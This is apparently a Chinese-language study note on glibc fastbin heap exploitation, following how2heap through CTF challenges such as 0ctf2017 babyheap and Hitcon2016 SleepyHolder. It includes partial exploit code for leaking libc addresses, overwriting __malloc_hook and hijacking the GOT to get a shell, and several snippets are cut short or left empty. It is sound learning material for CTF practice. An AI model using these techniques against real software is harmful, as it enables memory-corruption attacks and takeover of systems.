how2heap(fastbin attack)
(学习记录)跟着how2heap学堆溢出攻击
- 0ctf2017 babyheap
- 9447ctf2015 search-engine
- Hitcon2016 SleepyHolder
原理
fastbin中的2free
fastbin dup into stack
fastbin dup consolidate
题目
0ctf2017 babyheap
程序分析
每个块的结构体如下
1 | struct HEAP{ |
内存泄漏
首先是要做内存泄漏,泄露的目标是一个small chunk的地址。为了达到这个目的,要获得一个指向这个small chunk的指针,然后还需要一个以这个指针的值为mem值的HEAP,最后Dump这个HEAP得到目的地址。
由此我们思路应该出来了:
先分配几个块
1 | Allocate(0x10) #index=0 |
free掉两个块
1 | Free(1) |
伪造chunk,首先找到small chunk的地址,然后写进去
1 | payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) |
修改之后内存中堆的情况如下
1 | pwndbg> bins |
现在是把freebins中的一个块的fd指向了一个small chunk,然后可以通过malloc取出fastbins链表中的内容,但malloc有个检查机制如下
1 | if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) |
所以还需要通过填充index=3的块来修改index=4的块的size才可以正常malloc
1 | payload=p64(0)*3+p64(0x21) |
修改后内存情况如下
1 | pwndbg> bins |
此时再进行两次Allocate操作,fastbins链表为空,同时index=2的mem与index=4的mem指向同一块内存!对index=2进行操作就是对index=4的内存进行操作
1 | Allocate(0x10) #index=1 |
现在我们就可以来释放small chunk了,记得修改它的size,让它被链人unsorted chunk,在free之前最好是请求一块small chunk,避免与top chunk合并。
1 | payload=p64(0)*3+p64(0x91) |
此时再输出index=2的内容,就可以得到<main_arena+88>的地址了
1 | libc_addr = u64(dump(2)[:8].strip().ljust(8, "\x00")) |
然后我们需要计算出它和libc_base之间的差值,查看一下libc_base的值
1 | pwndbg> vmmap |
用libc_addr-0x7fa509503000=0x3C27B8
最终libc_base的值如下
1 | libc_addr = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3C27B8 |
获取shell
得到libc的地址之后,可以计算出malloc_hook的地址,然后再通过将该地址链入fastbins后malloc出来,改写该地址的内容。
首先查看一下内存中malloc_hook地址附近的数据
1 | pwndbg> x/10gx 0x7f7fd9cb5730 |
算一下这个的值为多少:0x7f7fd9cb5750-0x7f7fd9cb5715=0x3B
1 | Allocate(0x60) #index=4 |
由于我们前面已经有index=2的块指向index=4的块,我们重新malloc这个块,并将他free后链入freebins中。
1 | payload = p64(libc_addr+0x3c4aed) |
然后通过修改index=2的块,将malloc_hook地址附近的值放到index=4指向的块中,这时freebins中有两个空闲chunk,且大小均为0x60
1 | Allocate(0x60) #index=4 |
将这两个chunk通过malloc从freebins中取出,这时,index=6的HEAP的mem的值就是malloc_hook的值。
1 | payload = |
###9447ctf2015 search-engine
Hitcon2016 SleepyHolder
程序分析
三个功能选项
1 | while ( 1 ) |
没有输出函数,大概思路应该是劫持got表,然后将其修改为puts()的地址,用以内存泄漏。再将其修改为system("/bin/sh")
,拿到shell。
####got表劫持
说到got表劫持,我们会想到unlink,但是这个题目中,huge chunk不能重复写,也不能free,怎么办呢?这时候就需要用到fastbin dup consolidate。把这个huge chunk用一个“fast chunk”的指针去操作。
1 | add(1,"1111") |
从上述操作可以看到,我们首先创建一个fast bin,然后创建small bin,让它的堆块在huge bin